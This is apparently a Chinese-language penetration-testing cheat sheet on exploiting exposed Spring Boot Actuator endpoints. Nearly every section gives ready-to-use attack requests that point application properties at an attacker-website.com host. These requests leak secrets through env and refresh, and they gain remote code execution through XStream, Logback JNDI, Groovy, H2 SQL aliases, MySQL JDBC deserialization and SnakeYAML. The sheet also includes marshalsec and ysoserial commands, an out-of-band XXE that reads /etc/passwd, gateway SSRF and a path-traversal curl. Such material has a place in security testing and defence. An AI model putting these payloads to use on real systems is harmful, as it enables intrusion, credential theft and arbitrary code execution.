Spring Boot执行器
Spring Boot执行器概述
Spring Boot包括许多称为执行器的附加功能,以帮助在应用程序部署到生产环境时监控和控制应用程序。执行器允许使用HTTP或JMX端点来控制应用程序。如果应用程序配置不当,审计、健康和指标收集可能会为服务器打开隐藏的后门。
Spring Boot包含许多内置的端点(或Spring Boot 1.x的端点),并允许开发人员添加自己的端点。例如,health
端点提供基本的应用程序健康信息。
每个单独的端点都可以启用或禁用,并通过HTTP或JMX暴露。端点在启用和暴露时被认为是可用的。内置端点只有在可用时才会自动配置。大多数应用程序选择通过HTTP暴露,其中端点的ID加上/actuator
前缀映射到URL。例如,默认情况下,health端点映射到/actuator/health
。
要了解更多关于执行器端点及其请求和响应格式,请查看Spring Boot Actuator Web API Documentation。
env
env暴露Spring的ConfigurableEnvironment
中的属性。
eureka.client.serviceUrl.defaultZone
eureka.client.serviceUrl.defaultZone
需要以下条件:
/refresh
端点可用应用程序使用
spring-cloud-starter-netflix-eureka-client
依赖
检索env属性
您可以通过以下步骤获取env
属性值的明文:
设置
eureka.client.serviceUrl.defaultZone
属性:POST /actuator/env HTTP/1.1 Content-Type: application/x-www-form-urlencoded { "name": "eureka.client.serviceUrl.defaultZone", "value": "http://value:${your.property.name}@attacker-website.com/" }
刷新配置
POST /actuator/refresh HTTP/1.1 Content-Type: application/json
从
attacker-website.com
日志中的Authorization
头部检索属性值
参考:
XStream反序列化RCE
需要Eureka-Client
版本< 1.8.7
。
您可以通过以下步骤获得RCE:
设置一个响应恶意XStream payload的网站,查看springboot-xstream-rce.py
设置
eureka.client.serviceUrl.defaultZone
属性:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "eureka.client.serviceUrl.defaultZone", "value": "http://attacker-website.com/payload" }
刷新配置:
POST /actuator/refresh HTTP/1.1 Content-Type: application/json
代码将被执行
可能的原因是:
eureka.client.serviceUrl.defaultZone
属性设置为外部eureka服务器URL刷新触发对虚假eureka服务器的请求,该服务器将返回恶意payload
响应解析触发XStream反序列化,导致代码执行
参考:
logging.config
logging.config
需要/restart
可用。
Logback JNDI RCE
logging.config
可以通过Logback JNDI导致RCE,查看Logback JNDI RCE。
如何利用:
托管具有以下上下文的
logback
配置XML文件:<configuration> <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" /> </configuration>
托管恶意LDAP服务,查看文章如何准备payload并启动服务
设置
logging.config
属性:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "logging.config", "value": "http://attacker-website.com/logback.xml" }
重启应用程序:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
资源:
Groovy RCE
如何利用:
托管具有以下内容的
payload.groovy
文件:Runtime.getRuntime().exec("open -a Calculator")
设置
logging.config
:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "logging.config", "value": "http://attacker-website.com/payload.groovy" }
重启应用程序:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
该链包含以下步骤:
攻击者使用
logging.config
属性设置Logback配置文件应用程序在重启后请求配置
logback-classic
中的ch.qos.logback.classic.util.ContextInitializer.java
确定URL是否以groovy
结尾配置文件中的Groovy代码被执行
参考:
spring.main.sources
spring.main.sources
需要/restart
可用。
如何利用:
托管具有以下内容的
payload.groovy
文件:Runtime.getRuntime().exec("open -a Calculator")
设置
logging.config
:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.main.sources", "value": "http://attacker-website.com/payload.groovy" }
重启应用程序:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
该链包含以下步骤:
将
spring.main.sources
设置为带有payload的外部URL应用程序在重启后请求该URL
spring-boot
中的org.springframework.boot.BeanDefinitionLoader.java
确定URL是否以groovy
结尾配置文件中的Groovy代码被执行
参考:
spring.datasource.tomcat.validationQuery
spring.datasource.tomcat.validationQuery
允许指定任何SQL查询,该查询将自动针对当前数据库执行。它可以是任何语句,包括insert、update或delete。

spring.datasource.tomcat.url
spring.datasource.tomcat.url
允许修改当前的JDBC连接字符串。
这里的问题是,当应用程序建立到数据库的连接已经在运行时,仅更新JDBC字符串没有效果。但是您可以尝试使用spring.datasource.tomcat.max-active
来增加同时数据库连接的数量。
因此,您可以更改JDBC连接字符串,增加连接数量,然后向应用程序发送许多请求来模拟重负载。在负载下,应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。

spring.datasource.data
如果满足以下条件,spring.datasource.data
可用于获得RCE:
/restart
可用使用了
h2database
和spring-boot-starter-data-jpa
依赖
如何利用:
托管具有以下内容的
payload.sql
文件:CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
payload中的
T5
方法必须在命令执行后重命名(为T6
),然后才能重新创建和使用。否则,下次应用程序重启时漏洞将不会触发。设置
spring.datasource.data
:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.data", "value": "http://attacker-website.com/payload.sql" }
重启应用程序:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
利用链包含以下步骤:
攻击者将
spring.datasource.data
设置为JDBC DML SQL文件的URL应用程序在重启后请求该URL
spring-boot-autoconfigure
中的org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java
使用runScripts
方法执行h2数据库SQL代码,导致RCE
参考:
spring.datasource.url
spring.datasource.url
是仅用于第一次连接的数据库连接字符串。您可以将其与MySQL中的JDBC反序列化漏洞链接以获得RCE。该漏洞需要以下条件:
/refresh
可用使用了
mysql-connector-java
依赖
如何利用:
使用
/actuator/env
端点获取以下值:mysql-connector-java
版本号(5.x或8.x)常见的反序列化小工具,如
commons-collections
spring.datasource.url
值,以便稍后制定其正常的JDBC URL
使用ysoserial创建payload:
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
使用springboot-jdbc-deserialization-rce.py托管
payload.ser
设置
spring.datasource.url
属性:mysql-connector-java
版本5.x:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.url", "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" }
mysql-connector-java
版本8.x:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.url", "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" }
刷新配置:
POST /actuator/refresh HTTP/1.1 Content-Type: application/json
尝试访问将触发数据库查询的端点,例如
/product/list
,或找到其他方式查询数据库并触发漏洞
利用链包含以下步骤:
spring.datasource.url
设置为外部MySQL JDBC URL刷新配置
应用程序在执行数据库查询时使用恶意的MySQL JDBS URL建立新的数据库连接
恶意MySQL服务器在建立连接的适当阶段返回payload
mysql-connector-java
反序列化payload并执行任意代码
参考:
spring.cloud.bootstrap.location
spring.cloud.bootstrap.location
需要以下条件:
/refresh
端点可用spring-cloud-starter
版本< 1.3.0.RELEASE
检索env属性
您可以通过以下步骤获取env
属性值的明文:
设置
spring.cloud.bootstrap.location
属性:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.cloud.bootstrap.location", "value": "http://attacker-website.com/?=${your.property.name}" }
刷新配置
POST /actuator/refresh HTTP/1.1 Content-Type: application/json
从
attacker-website.com
日志中检索属性值
参考:
SnakeYML RCE
spring.cloud.bootstrap.location
允许加载YAML格式的外部配置。您可以通过以下步骤获得代码执行:
在
http://attacker-website.com/config.yml
托管config.yml
,内容如下:!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker-website.com/payload.jar"] ]] ]
托管包含将被执行的代码的
payload.jar
,查看marshalsec research和artsploit/yaml-payload了解如何准备payload设置
spring.cloud.bootstrap.location
属性:POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.cloud.bootstrap.location", "value": "http://attacker-website.com/yaml-payload.yml" }
刷新配置:
POST /actuator/refresh HTTP/1.1 Content-Type: application/json
代码将被执行
可能的原因是:
spring.cloud.bootstrap.location
设置为带有外部恶意配置的URL刷新触发对远程服务器上配置文件的请求并检索其内容
由于反序列化漏洞,
SnakeYAML
在解析恶意配置时完成指定的操作SnakeYAML
使用java.net.URL
从远程服务器拉取恶意jarSnakeYAML
在jar中搜索实现javax.script.ScriptEngineFactory
接口的类并创建其实例实例创建导致恶意代码执行
参考:
spring.datasource.hikari.connection-test-query
spring.datasource.hikari.connection-test-query
设置一个在从池中授予连接之前将执行的查询。如果满足以下条件,它可能导致RCE:
/restart
端点可用使用了
com.h2database.h2
依赖
您可以通过以下步骤获得代码执行:
设置
spring.datasource.hikari.connection-test-query
属性POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.hikari.connection-test-query", "value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');" }
payload中的
T5
方法必须在命令执行后重命名(为T6
),然后才能重新创建和使用。否则,下次应用程序重启时漏洞将不会触发。重启应用程序:
POST /actuator/restart HTTP/1.1 Content-Type: application/json
工作原理:
spring.datasource.hikari.connection-test-query
设置为使用CREATE ALIAS创建自定义函数的恶意SQL语句spring.datasource.hikari.connection-test-query
对应于HikariCP数据库连接池的connectionTestQuery
配置,并定义在新数据库连接之前要执行的SQL语句重启建立新的数据库连接
自定义函数被执行
参考:
gateway
gateway执行器端点让您监控和与Spring Cloud Gateway应用程序交互。换句话说,您可以为应用程序定义路由,并使用gateway
执行器根据这些路由触发请求。
SSRF
至少存在以下问题:
路由可以提供对隐藏或内部端点的访问,这些端点可能配置不当或存在漏洞。您可以通过向
/actuator/gateway/routes
发送GET
请求来获取所有可用路由。如果添加路由不需要管理员权限,则会出现完整的SSRF。下一个请求将创建到本地主机的路由:
POST /actuator/gateway/routes/new_route HTTP/1.1 Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://localhost", "order": 0 }
发送刷新请求以应用新路由:
POST /actuator/gateway/refresh HTTP/1.1 Content-Type: application/json { "predicate": "Paths: [/new_route], match trailing slash: true", "route_id": "new_route", "filters": [ "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]" ], "uri": "https://localhost", "order": 0 }
参考:
SpEL代码注入
使用3.1.0
和3.0.6
之前版本的Spring Cloud Gateway的应用程序容易受到CVE-2022-22947的攻击,当Gateway Actuator端点启用、暴露且不安全时,会导致代码注入攻击。远程攻击者可以制作恶意请求,允许在远程主机上进行任意远程执行。
查看以下带有详细信息的文章:
trace或httptrace
显示HTTP跟踪信息(默认情况下,最后100个HTTP请求-响应交换)。它可能泄露内部应用程序请求的详细信息以及用户cookie和JWT令牌。
trace
需要一个HttpTraceRepository
bean。
mappings
mappings显示所有@RequestMapping
路径的整理列表。
sessions
sessions允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序。
shutdown
shutdown允许应用程序优雅地关闭。默认情况下禁用。
h2-console
需要以下条件:
使用了
com.h2database.h2
依赖h2控制台在Spring配置中启用
spring.h2.console.enabled=true
您可以通过h2数据库控制台中的JDNI获得RCE:
访问h2控制台
/h2-console
。应用程序将重定向到/h2-console/login.jsp?jsessionid=xxxxxx
。捕获jsessionid
值。准备要执行的Java代码,您可以重用JNDIObject.java
以与早期JDK版本兼容的方式编译:
javac -source 1.5 -target 1.5 JNDIObject.java
在
http://attacker-website.com/
托管编译的JNDIObject.class
使用marshalsec设置LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
触发JNDI注入:
POST /h2-console/login.do?jsessionid=xxxxxx Host: vulnerable-website.com Content-Type: application/json Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx { "language": "en", "setting": "Generic+H2+(Embedded)", "name": "Generic+H2+(Embedded)", "driver": "javax.naming.InitialContext", "url": "ldap://attacker-website.com:1389/JNDIObject", "user": "", "password": "" }
参考:
heapdump
heapdump返回一个hprof堆转储文件,可能包含敏感数据,如env
属性。要从prof堆转储中检索数据,使用Eclipse Memory Analyzer工具,查看Find password plaintext in spring heapdump using MAT。
参考:
jolokia
通过HTTP暴露JMX bean(当Jolokia在类路径上时,WebFlux不可用)。需要依赖jolokia-core
。
提取env属性
您可以调用相关的MBeans以明文检索env
属性值。下面您可以找到可用于此目的的MBeans。但是,情况可能有所不同,列出的Mbeans可能不可用。但是,您可以搜索可以通过getProperty
等关键字调用的方法。
参考:
org.springframework.boot
您可以使用以下请求获取env
属性值的明文:
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json
{
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "EXEC",
"arguments": [
"your.property.name"
]
}
org.springframework.boot
MBean调用org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
类实例的getProperty
方法。
org.springframework.cloud.context.environment
您可以使用以下请求获取env
属性值的明文:
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json
{
"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
"operation": "getProperty",
"type": "EXEC",
"arguments": [
"your.property.name"
]
}
org.springframework.cloud.context.environment
MBean调用org.springframework.cloud.context.environment.EnvironmentManager
类实例的getProperty
方法。
Logback::reloadByURL
您可以使用/jolokia/list
端点列出所有可用的MBeans操作。大多数MBeans操作只暴露一些系统数据,但如果存在Logback
库提供的reloadByURL
操作:

可以从外部URL重新加载日志配置:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml
带外XXE
Logback
使用由启用了外部实体的SAXParser
XML解析器解析的XML配置。您可以利用此功能触发带外XXE:
<!-- logback.xml -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker-website.com/file.dtd">%remote;%int;]>
<a>&trick;</a>
<!-- file.dtd -->
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

参考:
Logback JNDI RCE
Logback
配置具有从JNDI获取变量的功能。在XML配置文件中,您可以包含如下标签:
<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName"/>
在这种情况下,env-entry-name
属性将传递给DirContext.lookup()
方法。向lookup
方法提供任意名称可以通过远程类加载导致远程代码执行。
您可以通过以下步骤获得代码执行:
获取
/jolokia/list
以检查ch.qos.logback.classic.jmx.JMXConfigurator
类和reloadByURL
方法是否可用在
http://attacker-website.com/logback.xml
托管logback配置:<configuration> <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/JNDIObject" as="appName" /> </configuration>
准备要执行的Java代码,您可以重用JNDIObject.java
以与早期JDK版本兼容的方式编译:
javac -source 1.5 -target 1.5 JNDIObject.java
在
http://attacker-website.com/
托管编译的JNDIObject.class
设置LDAP服务器,使用marshalsec设置服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
使用以下请求从外部URL加载日志配置:
GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml HTTP/1.1
如果应用程序成功请求
logback.xml
且marshalsec
接收到目标请求,但应用程序未请求JNDIObject.class
,则可能是应用程序的JDK版本过高,导致JNDI使用失败。
可能的原因是以下步骤:
直接访问可能导致漏洞的URL等同于通过jolokia
reloadByURL
调用ch.qos.logback.classic.jmx.JMXConfigurator
类方法应用程序从外部URL请求XML配置文件
XML配置由
saxParser.parse
解析,导致XXE漏洞在Logback XML配置文件中使用
insertFormJNDI
标签指定外部JNDI服务器地址应用程序请求恶意JNDI服务器,导致JNDI注入和RCE
参考:
Tomcat::createJNDIRealm
Tomcat(嵌入到Spring Boot中)的MBeans之一是createJNDIRealm
。createJNDIRealm
允许创建易受JNDI注入攻击的JNDIRealm。您可以通过以下步骤利用:
获取
/jolokia/list
以检查type=MBeanFactoryand
和createJNDIRealm
是否存在准备要执行的Java代码,您可以重用JNDIObject.java
编译代码并在
http://attacker-website.com/
托管编译的类使用marshalsec设置RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-website.com:80/#JNDIObject 1389
使用springboot-realm-jndi-rce.py发送payload
可能的原因是以下链:
使用
createJNDIRealm
创建JNDIRealm
将
connectionURL
地址设置为RMI服务URL将
contextFactory
设置为RegistryContextFactory
停止Realm
启动Realm以触发指定RMI地址的JNDI注入,导致RCE
参考:
Jookia CVEs
logfile
logfile返回日志文件的内容(如果设置了logging.file.name
或logging.file.path
属性)。支持使用HTTP Range头部检索日志文件内容的一部分。
logview
spring-boot-actuator-logview0.2.13
之前的版本易受路径遍历攻击,允许您检索任意文件。
# 检索 /etc/passwd
$ curl http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../
参考:
dump或threaddump
dump或threaddump从应用程序的JVM执行线程转储。
参考
最后更新于